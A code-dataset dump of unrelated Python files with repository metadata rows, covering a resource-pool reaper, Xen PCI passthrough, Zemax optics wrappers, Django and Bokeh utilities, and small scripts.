def reap(self, cnt):
now = datetime.datetime.now()
for r in self.inn:
dob = self.dobs[r]
evictAfter = dob + datetime.timedelta(seconds=self.maxAgeSecs)
#log.debug('Reaper check:')
#log.debug(' dob = %s' % dob)
#log.debug(' evictAfter = %s' % evictAfter)
#log.debug(' now = %s' % now)
if now > evictAfter:
try:
log.debug('Evicting resource %s in sweep %d' % (r, cnt/self.reapEverySecs))
self.inn.remove(r)
self.factory.destroy(r)
del self.dobs[r]
self.numEvictions += 1
except:
log.exception('while reaping')
@sync_instance
def checkin(self, resource):
super(EvictingPool, self).checkin(resource)
self.dobs[resource] = datetime.datetime.now()
@sync_instance
def discard(self, resource):
super(EvictingPool, self).discard(resource)
if resource in self.dobs:
del self.dobs[resource]
@sync_instance
def grow(self, size):
super(EvictingPool, self).grow(size)
now = datetime.datetime.now()
for r in self.inn:
if not r in self.dobs:
self.dobs[r] = now
# SYNC ALERT:
# It is very important that call is not synchronized since we join() on the reaper thread
# which may itself be in synchronized call to reap()
def shutdown(self):
self.isShutdown = True
if self.evictorThread.isAlive():
log.debug('joining evictor')
self.evictorThread.join(self.reapEverySecs * 2) # 2x == fudge factor
super(EvictingPool, self).shutdown()
log.debug('Total num evictions = %d' % self.numEvictions)
| 32.522167 | 112 | 0.588761 | 761 | 6,602 | 5.072273 | 0.31406 | 0.025389 | 0.046632 | 0.021762 | 0.234974 | 0.176166 | 0.112435 | 0.101554 | 0.048705 | 0.03057 | 0 | 0.006211 | 0.317177 | 6,602 | 202 | 113 | 32.683168 | 0.850044 | 0.188428 | 0 | 0.352941 | 0 | 0 | 0.069229 | 0 | 0 | 0 | 0 | 0.004951 | 0 | 0 | null | null | 0 | 0.036765 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e74b959f80a4277f2b2304174fc6600cf9953045 | 1,193 | py | Python | DAA_Assi.py | scorpion-11/2D_array_clustering | 0cf91097aa5fae6145d408c1e8896e562545b561 | [
"MIT"
] | null | null | null | DAA_Assi.py | scorpion-11/2D_array_clustering | 0cf91097aa5fae6145d408c1e8896e562545b561 | [
"MIT"
] | null | null | null | DAA_Assi.py | scorpion-11/2D_array_clustering | 0cf91097aa5fae6145d408c1e8896e562545b561 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Tue Sep 3 14:53:06 2019
@author: ISHA
"""
arr = [
[ 'XYZ', 1, 88, 56, 45],
[ 'ABC', 2, 45, 86, 52],
[ 'LMN', 3, 87, 39, 40],
[ 'QWS', 4, 96, 86, 85],
[ 'TRE', 5, 76, 56, 53],
[ 'UTH', 6, 35, 79, 48],
[ 'GHJ', 7, 88, 98, 88],
[ 'DFS', 8, 72, 80, 68],
[ 'CVB', 9, 45, 56, 50],
[ 'PQR', 10, 78, 36, 25]]
sumCol=[]
for i in range(len(arr)):
sumCol.append(0)
#sumCol[len(arr)]
#j = len(arr[0]);
for row in range (0,len(arr)):
# sumCol[row] = 0;
for col in range(2,len(arr[row])):
sumCol[row] = sumCol[row] + arr[row][col]
print("Average marks of all Students of T1, T2, T3 : ",sumCol)
print("Data of Students with greatest cluster are :")
print("- - - - - - - - - - - - - - - - - - - - - -")
print("\ Name \ Roll No \ T1 \ T2 \ T3 ")
print("- - - - - - - - - - - - - - - - - - - - - -")
for i in range(len(arr)):
if sumCol[i]>240:
for j in range(len(arr[i])):
print("\ ",arr[i][j], end='\t')
print()
print("- - - - - - - - - - - - - - - - - - - - - -")
| 27.744186 | 63 | 0.396479 | 160 | 1,193 | 2.95625 | 0.54375 | 0.088795 | 0.063425 | 0.082452 | 0.071882 | 0.071882 | 0 | 0 | 0 | 0 | 0 | 0.126138 | 0.355407 | 1,193 | 43 | 64 | 27.744186 | 0.488947 | 0.102263 | 0 | 0.178571 | 0 | 0.107143 | 0.2895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.285714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e74bba43ddf663d48855498cb395dee905054ca7 | 192 | py | Python | text/color/__init__.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/color/__init__.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/color/__init__.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | """
*graphical color*
Spectral color measures.
"""
# from ._color import Color
# from ._rgb import Rgba
# from ._hsv import Hsba
__all__ = [
"Color",
"Rgba",
"Hsba",
]
| 10.105263 | 27 | 0.583333 | 21 | 192 | 5 | 0.52381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.276042 | 192 | 18 | 28 | 10.666667 | 0.755396 | 0.604167 | 0 | 0 | 0 | 0 | 0.224138 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7507f0a40fe693ee905998ecfffefb63965f98e | 5,243 | py | Python | xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py | zhiming-shen/Xen-Blanket-NG | 47e59d9bb92e8fdc60942df526790ddb983a5496 | [
"Apache-2.0"
] | 1 | 2018-02-02T00:15:26.000Z | 2018-02-02T00:15:26.000Z | xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py | zhiming-shen/Xen-Blanket-NG | 47e59d9bb92e8fdc60942df526790ddb983a5496 | [
"Apache-2.0"
] | null | null | null | xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py | zhiming-shen/Xen-Blanket-NG | 47e59d9bb92e8fdc60942df526790ddb983a5496 | [
"Apache-2.0"
] | 1 | 2019-05-27T09:47:18.000Z | 2019-05-27T09:47:18.000Z | #============================================================================
# This library is free software; you can redistribute it and/or
# modify it under the terms of version 2.1 of the GNU Lesser General Public
# License as published by the Free Software Foundation.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#============================================================================
# Copyright (c) 2008 NEC Corporation
# Yosuke Iwamatsu <y-iwamatsu at ab jp nec com>
#============================================================================
from xen.xend.XendBase import XendBase
from xen.xend.XendPPCI import XendPPCI
from xen.xend import XendAPIStore
from xen.xend import uuid as genuuid
import XendDomain, XendNode
from XendError import *
from XendTask import XendTask
from XendLogging import log
class XendDPCI(XendBase):
"""Representation of a passthrough PCI device."""
def getClass(self):
return "DPCI"
def getAttrRO(self):
attrRO = ['virtual_domain',
'virtual_bus',
'virtual_slot',
'virtual_func',
'virtual_name',
'VM',
'PPCI',
'hotplug_slot',
'key',
'options']
return XendBase.getAttrRO() + attrRO
def getAttrRW(self):
attrRW = []
return XendBase.getAttrRW() + attrRW
def getAttrInst(self):
attrInst = ['VM',
'PPCI',
'hotplug_slot',
'key']
return XendBase.getAttrInst() + attrInst
def getMethods(self):
methods = ['destroy']
return XendBase.getMethods() + methods
def getFuncs(self):
funcs = ['create']
return XendBase.getFuncs() + funcs
getClass = classmethod(getClass)
getAttrRO = classmethod(getAttrRO)
getAttrRW = classmethod(getAttrRW)
getAttrInst = classmethod(getAttrInst)
getMethods = classmethod(getMethods)
getFuncs = classmethod(getFuncs)
def create(self, dpci_struct):
# Check if VM is valid
xendom = XendDomain.instance()
if not xendom.is_valid_vm(dpci_struct['VM']):
raise InvalidHandleError('VM', dpci_struct['VM'])
dom = xendom.get_vm_by_uuid(dpci_struct['VM'])
# Check if PPCI is valid
xennode = XendNode.instance()
ppci_uuid = xennode.get_ppci_by_uuid(dpci_struct['PPCI'])
if not ppci_uuid:
raise InvalidHandleError('PPCI', dpci_struct['PPCI'])
for existing_dpci in XendAPIStore.get_all('DPCI'):
if ppci_uuid == existing_dpci.get_PPCI():
raise DirectPCIError("Device is in use")
# Assign PPCI to VM
try:
dpci_ref = XendTask.log_progress(0, 100, dom.create_dpci,
dpci_struct)
except XendError, e:
raise DirectPCIError("Failed to assign device")
# TODO: Retrive virtual pci device infomation.
return dpci_ref
create = classmethod(create)
def get_by_VM(cls, VM_ref):
result = []
for dpci in XendAPIStore.get_all("DPCI"):
if dpci.get_VM() == VM_ref:
result.append(dpci.get_uuid())
return result
get_by_VM = classmethod(get_by_VM)
def __init__(self, uuid, record):
XendBase.__init__(self, uuid, record)
self.virtual_domain = -1
self.virtual_bus = -1
self.virtual_slot = -1
self.virtual_func = -1
self.VM = record['VM']
self.PPCI = record['PPCI']
self.hotplug_slot = int(record['hotplug_slot'], 16)
self.key = record['key']
if 'options' in record.keys():
self.options = record['options']
def destroy(self):
xendom = XendDomain.instance()
dom = xendom.get_vm_by_uuid(self.get_VM())
if not dom:
raise InvalidHandleError("VM", self.get_VM())
XendTask.log_progress(0, 100, dom.destroy_dpci, self.get_uuid())
def get_virtual_domain(self):
return self.virtual_domain
def get_virtual_bus(self):
return self.virtual_bus
def get_virtual_slot(self):
return self.virtual_slot
def get_virtual_func(self):
return self.virtual_func
def get_virtual_name(self):
return "%04x:%02x:%02x.%01x" % (self.virtual_domain, self.virtual_bus,
self.virtual_slot, self.virtual_func)
def get_VM(self):
return self.VM
def get_PPCI(self):
return self.PPCI
def get_hotplug_slot(self):
return "%d" % self.hotplug_slot
def get_key(self):
return self.key
def get_options(self):
return self.options
| 31.584337 | 78 | 0.586687 | 601 | 5,243 | 4.966722 | 0.284526 | 0.044221 | 0.037521 | 0.028141 | 0.111893 | 0.084422 | 0.042881 | 0 | 0 | 0 | 0 | 0.011179 | 0.283426 | 5,243 | 165 | 79 | 31.775758 | 0.783338 | 0.202174 | 0 | 0.055046 | 0 | 0 | 0.061269 | 0 | 0 | 0 | 0 | 0.006061 | 0 | 0 | null | null | 0 | 0.073395 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e752623f8b85b648901f73070fbd56e8b7f3b57a | 578 | py | Python | studio/nuke/init.py | astips/tk-astips-app-url-resolver | fd1a5d49d1ef1590a05ad640fb4f74a9579721ab | [
"MIT"
] | null | null | null | studio/nuke/init.py | astips/tk-astips-app-url-resolver | fd1a5d49d1ef1590a05ad640fb4f74a9579721ab | [
"MIT"
] | null | null | null | studio/nuke/init.py | astips/tk-astips-app-url-resolver | fd1a5d49d1ef1590a05ad640fb4f74a9579721ab | [
"MIT"
] | 3 | 2018-06-07T14:26:51.000Z | 2021-11-30T12:49:18.000Z | # -*- coding: utf-8 -*-
###########################################################################################
#
# Author: astips - (animator.well)
#
# Date: 2017.03
#
# Url: https://github.com/astips
#
# Description: nuke url resolver
#
###########################################################################################
import nuke
from studiourl import StudioUrl
nuke.addFilenameFilter(nurl_resolver)
def nurl_resolver(url) :
studio_url = StudioUrl(url)
real_path = studio_url.real_path
"""
do get the real path
"""
return real_path
| 20.642857 | 91 | 0.458478 | 51 | 578 | 5.058824 | 0.588235 | 0.124031 | 0.085271 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014113 | 0.141869 | 578 | 27 | 92 | 21.407407 | 0.506048 | 0.224913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e75ab78356dcf425204c61db6532938fb81889de | 932 | py | Python | magnifier/base.py | koreander2001/magnifier | 6771e1ecd6abb3108c482579f5e24f210c7ebcdd | [
"MIT"
] | null | null | null | magnifier/base.py | koreander2001/magnifier | 6771e1ecd6abb3108c482579f5e24f210c7ebcdd | [
"MIT"
] | 5 | 2022-01-16T12:12:30.000Z | 2022-02-13T08:54:28.000Z | magnifier/base.py | koreander2001/magnifier | 6771e1ecd6abb3108c482579f5e24f210c7ebcdd | [
"MIT"
] | null | null | null | from abc import ABCMeta, abstractmethod
from sklearn.base import (
BaseEstimator,
ClassifierMixin,
RegressorMixin,
TransformerMixin,
)
class BaseClassifier(BaseEstimator, ClassifierMixin, metaclass=ABCMeta):
@abstractmethod
def fit(self, X, y, **fit_params) -> "BaseClassifier":
raise NotImplementedError
@abstractmethod
def predict(self, X):
raise NotImplementedError
class BaseRegressor(BaseEstimator, RegressorMixin, metaclass=ABCMeta):
@abstractmethod
def fit(self, X, y, **fit_params) -> "BaseRegressor":
raise NotImplementedError
@abstractmethod
def predict(self, X):
raise NotImplementedError
class BaseTransformer(BaseEstimator, TransformerMixin, metaclass=ABCMeta):
def fit(self, X, y=None, **fit_params) -> "BaseTransformer":
return self
@abstractmethod
def transform(self, X):
raise NotImplementedError
| 24.526316 | 74 | 0.709227 | 85 | 932 | 7.741176 | 0.329412 | 0.045593 | 0.045593 | 0.050152 | 0.422492 | 0.404255 | 0.404255 | 0.404255 | 0.404255 | 0.404255 | 0 | 0 | 0.204936 | 932 | 37 | 75 | 25.189189 | 0.887989 | 0 | 0 | 0.444444 | 0 | 0 | 0.045064 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.074074 | 0.037037 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e75d3be60f316283c600b24e405c971784ba5c9d | 323 | py | Python | duplicate_titles.py | tomaszpasternak94/OpenX_task | 0a9985c48c8d0ac977bb8c315fa91fe2253998a5 | [
"MIT"
] | null | null | null | duplicate_titles.py | tomaszpasternak94/OpenX_task | 0a9985c48c8d0ac977bb8c315fa91fe2253998a5 | [
"MIT"
] | null | null | null | duplicate_titles.py | tomaszpasternak94/OpenX_task | 0a9985c48c8d0ac977bb8c315fa91fe2253998a5 | [
"MIT"
] | null | null | null | import titles
from titles import titlesAll
def duplicatesF():
duplicates=[]
counter = 0
for i in titlesAll:
if i in titlesAll[counter+1:]:
duplicates.append(i)
else:
pass
counter += 1
print('\nlista duplikatów:')
return print(list(set(duplicates)),'\n')
| 21.533333 | 44 | 0.585139 | 37 | 323 | 5.108108 | 0.648649 | 0.031746 | 0.126984 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013393 | 0.306502 | 323 | 14 | 45 | 23.071429 | 0.830357 | 0 | 0 | 0 | 0 | 0 | 0.065015 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0.076923 | 0.153846 | 0 | 0.307692 | 0.153846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e75e22fe64eb93b8f8971a78056844f02a3db2c0 | 808 | py | Python | jira_analysis/defect_rate/chart/defect.py | arrwhidev/jira-analysis | 2e04567a43dd15391b71a6c629f3489d637d6e3c | [
"MIT"
] | 10 | 2020-06-12T13:33:20.000Z | 2022-01-14T15:33:12.000Z | jira_analysis/defect_rate/chart/defect.py | arrwhidev/jira-analysis | 2e04567a43dd15391b71a6c629f3489d637d6e3c | [
"MIT"
] | 6 | 2020-06-03T06:58:15.000Z | 2022-02-10T15:02:30.000Z | jira_analysis/defect_rate/chart/defect.py | arrwhidev/jira-analysis | 2e04567a43dd15391b71a6c629f3489d637d6e3c | [
"MIT"
] | 6 | 2020-06-02T15:20:13.000Z | 2021-11-04T08:46:17.000Z | from bokeh.models.sources import ColumnDataSource
from bokeh.transform import cumsum
from functools import partial
from typing import List, Type
from jira_analysis.chart.base import Axis, IChart, Chart
from jira_analysis.defect_rate.issue import Issue
from .plot.donut import DefectRateDonut
def generate_defect_chart(
issues: List[Issue], chart_class: Type[IChart] = Chart
) -> None:
chart = chart_class(
label=None,
x=Axis(label="", values=None, size=600),
y=Axis(label="", values=None, size=300),
tooltips="@value: @defect_rate{0.1f}%",
)
DefectRateDonut(
issues=issues,
data_source=ColumnDataSource,
no_defects_transform=partial(cumsum, include_zero=True),
defects_transform=cumsum,
).draw(chart)
chart.render()
| 28.857143 | 64 | 0.705446 | 101 | 808 | 5.514851 | 0.49505 | 0.032316 | 0.057451 | 0.068223 | 0.082585 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012251 | 0.191832 | 808 | 27 | 65 | 29.925926 | 0.840735 | 0 | 0 | 0 | 0 | 0 | 0.033416 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.304348 | 0 | 0.347826 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e767923499edba6e21645a08d475976338a43fdd | 472 | py | Python | myblog/posts/serializer.py | daxia07/fancyBlog | 8a3970da3079a48aca4f42d40e4c9a8ce0b2710e | [
"MIT"
] | 1 | 2019-09-21T01:29:22.000Z | 2019-09-21T01:29:22.000Z | myblog/posts/serializer.py | daxia07/fancyBlog | 8a3970da3079a48aca4f42d40e4c9a8ce0b2710e | [
"MIT"
] | 3 | 2020-06-05T23:25:10.000Z | 2021-04-08T20:11:17.000Z | myblog/posts/serializer.py | daxia07/fancyBlog | 8a3970da3079a48aca4f42d40e4c9a8ce0b2710e | [
"MIT"
] | null | null | null | from django.contrib.auth.models import User
from rest_framework import serializers
from .models import Post
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ('id', 'username', 'email')
class PostSerializer(serializers.ModelSerializer):
author = serializers.ReadOnlyField(source='author.username')
# author = UserSerializer(read_only=True)
class Meta:
model = Post
fields = '__all__'
| 24.842105 | 64 | 0.709746 | 49 | 472 | 6.714286 | 0.571429 | 0.072948 | 0.085106 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199153 | 472 | 18 | 65 | 26.222222 | 0.87037 | 0.082627 | 0 | 0.166667 | 0 | 0 | 0.085847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e76c1be4588d99d47323cd7bbb2a9b1848adaf12 | 7,028 | py | Python | component.py | oxford-pcs/zSpec | 0879371076c25d965514a7d5576b0e1a30efa2bd | [
"MIT"
] | 1 | 2018-01-22T21:53:54.000Z | 2018-01-22T21:53:54.000Z | component.py | oxford-pcs/zSpec | 0879371076c25d965514a7d5576b0e1a30efa2bd | [
"MIT"
] | 1 | 2018-01-18T13:20:35.000Z | 2018-01-18T13:20:35.000Z | component.py | oxford-pcs/zSpec | 0879371076c25d965514a7d5576b0e1a30efa2bd | [
"MIT"
] | 1 | 2021-08-03T10:27:59.000Z | 2021-08-03T10:27:59.000Z | import numpy as np
import pylab as plt
import pyzdde.zdde as pyz
class Component(object):
def __init__(self, zmx_file, zcontroller, lumultiplier=1e-3, wumultiplier=1e6):
'''
Initialise a component.
[lumultiplier] is used to move from Zemax lens units to another
physical dimension. By default, Zemax does its calculations in
mm, so a [lumultiplier] of 1e-3 moves from mm to m.
[wumultiplier] is used to move from SI units to Zemax wavelength
units. By default, Zemax does its calculations in
micron, so a [wumultiplier] of 1e6 moves from m to micron.
'''
self.file_pathname = zmx_file
self.zcontroller = zcontroller
self.lumultiplier = lumultiplier
self.wumultiplier = wumultiplier
def _doAnalysisWFE(self, fields, field_type, wavelength, sampling,
verbose=True, debug=False):
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
data, headers = self.zcontroller.getAnalysisWFEForFields(fields, field_type,
sampling=sampling)
return data, headers
def _doRayTrace(self, fields, field_type, wavelength, verbose=True,
debug=False):
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
rays = self.zcontroller.doRayTraceForFields(fields, field_type=field_type,
px=0, py=0)
tmp = []
for ray in rays:
tmp.append({
'x': ray.x * self.lumultiplier,
'y': ray.y * self.lumultiplier,
'z': ray.z * self.lumultiplier,
'dcos_l': ray.dcos_l,
'dcos_m': ray.dcos_m,
'dcos_n': ray.dcos_n
})
rays = tmp
if debug:
for idx, ray in enumerate(rays):
if idx == 0:
print
print "field\tx\ty\tz"
print idx, '\t', round(ray['x'], 2), '\t', round(ray['y'], 2), \
'\t', round(ray['z'], 2)
if idx == len(rays):
print
plt.plot()
for field, ray in zip(fields, rays):
plt.plot(rays['x'], ray['y'], 'o', label=str('[' + str(field[0]) +
', ' + str(field[1]) +
']'))
plt.legend(loc='upper right', numpoints=1)
plt.show()
return rays
def getEFFL(self, wavelength, verbose=False):
if verbose:
print "Getting EFFL for component... "
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
return self.zcontroller.getLensData().EFL*self.lumultiplier
def getENPD(self, wavelength, verbose=False):
if verbose:
print "Getting ENPD for component... "
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
return self.zcontroller.getPupilData().ENPD*self.lumultiplier
def getEXPD(self, wavelength, verbose=False):
if verbose:
print "Getting EXPD for component... "
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
return self.zcontroller.getPupilData().EXPD*self.lumultiplier
def getWFNO(self, wavelength, verbose=False):
if verbose:
print "Getting WFNO for component... "
if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname):
self.zcontroller.loadZemaxFile(self.file_pathname)
self.zcontroller.setWavelengthNumberOf(1)
self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1)
return self.zcontroller.getLensData().realWorkFNum
class Camera(Component):
def __init__(self, camera_zmx_file, zcontroller, lumultiplier=1e-3,
wumultiplier=1e6):
super(Camera, self).__init__(camera_zmx_file, zcontroller, lumultiplier,
wumultiplier)
pass
def getImXY(self, fields, wavelength, verbose=True, debug=False):
'''
Trace the chief ray from each collimated field point through the camera
and work out the corresponding (x, y) positions at the image plane.
'''
if verbose:
print "Tracing object angles through camera..."
rays = self._doRayTrace(fields, 0, wavelength, verbose=verbose,
debug=debug)
ImXYs = []
for ray in rays:
ImXYs.append((ray['x'], ray['y']))
return ImXYs
def getWFE(self, fields, wavelength, sampling, verbose=True, debug=False):
'''
Get the pupil WFE after passing through the camera.
'''
return self._doAnalysisWFE(fields, 0, wavelength, sampling=sampling,
verbose=verbose, debug=debug)
class Collimator(Component):
def __init__(self, collimator_zmx_file, zcontroller, lumultiplier=1e-3,
wumultiplier=1e6):
super(Collimator, self).__init__(collimator_zmx_file, zcontroller,
lumultiplier, wumultiplier)
pass
def getOA(self, fields, wavelength, verbose=True, debug=False):
'''
Trace the chief ray for each field point in the slit through the
collimator and, using directional cosines and the relations
(p53 Zemax manual)
tan(alpha) = direction_cosine(x)/direction_cosine(z) .. (1)
tan(beta) = direction_cosine(y)/direction_cosine(z) .. (2)
calculate the output field angles x and y (alpha and beta respectively).
'''
if verbose:
print "Tracing object heights through collimator... "
rays = self._doRayTrace(fields, 1, wavelength, verbose=verbose,
debug=debug)
OAs = []
for ray in rays:
#print ray['dcos_l'], ray['dcos_m'], ray['dcos_n']
OAs.append((np.degrees(np.arctan(ray['dcos_l']/ray['dcos_n'])),
np.degrees(np.arctan(ray['dcos_m']/ray['dcos_n']))))
return OAs
def getWFE(self, fields, wavelength, sampling, verbose=True, debug=False):
'''
Get the pupil WFE after passing through the collimator.
'''
return self._doAnalysisWFE(fields, 1, wavelength, sampling=sampling,
verbose=verbose, debug=debug)
| 37.784946 | 81 | 0.644138 | 800 | 7,028 | 5.57 | 0.21375 | 0.104354 | 0.046679 | 0.05386 | 0.601212 | 0.545108 | 0.524686 | 0.464542 | 0.41158 | 0.387792 | 0 | 0.008554 | 0.251423 | 7,028 | 185 | 82 | 37.989189 | 0.838434 | 0.006972 | 0 | 0.365854 | 0 | 0 | 0.050051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.01626 | 0.02439 | null | null | 0.081301 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7729d185d22495a54248f29283594e126a295e3 | 412 | py | Python | django/reviewApp/migrations/0008_artist_background_image.py | Akasiek/scorethatlp | 1c669afdaa8fe990e53706f5e60d201fbb76c26a | [
"MIT"
] | 5 | 2022-03-15T18:00:40.000Z | 2022-03-25T18:19:29.000Z | django/reviewApp/migrations/0008_artist_background_image.py | Akasiek/scorethatlp | 1c669afdaa8fe990e53706f5e60d201fbb76c26a | [
"MIT"
] | null | null | null | django/reviewApp/migrations/0008_artist_background_image.py | Akasiek/scorethatlp | 1c669afdaa8fe990e53706f5e60d201fbb76c26a | [
"MIT"
] | null | null | null | # Generated by Django 4.0.2 on 2022-02-21 17:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('reviewApp', '0007_artist_image'),
]
operations = [
migrations.AddField(
model_name='artist',
name='background_image',
field=models.FileField(blank=True, null=True, upload_to=''),
),
]
| 21.684211 | 72 | 0.604369 | 45 | 412 | 5.422222 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063545 | 0.274272 | 412 | 18 | 73 | 22.888889 | 0.752508 | 0.109223 | 0 | 0 | 1 | 0 | 0.131507 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e77a84551720834d0ba1ec3c408dd9aaa01cbf7f | 4,668 | py | Python | emotion.py | Kukanani/emotion_game | fc2338d96e1f5ca946f8d8ef25701270b25bf511 | [
"BSD-3-Clause"
] | null | null | null | emotion.py | Kukanani/emotion_game | fc2338d96e1f5ca946f8d8ef25701270b25bf511 | [
"BSD-3-Clause"
] | null | null | null | emotion.py | Kukanani/emotion_game | fc2338d96e1f5ca946f8d8ef25701270b25bf511 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
import cv2
import sys
import numpy
import requests
import time
import operator
import math
import random
api_key = None
with open("api.txt") as file:
api_key = file.read()
if api_key is None:
print("error, api.txt not found")
exit()
emotions = {
"neutral": "neutral",
"happiness": "happy",
"contempt": "contempt",
"sadness": "sad",
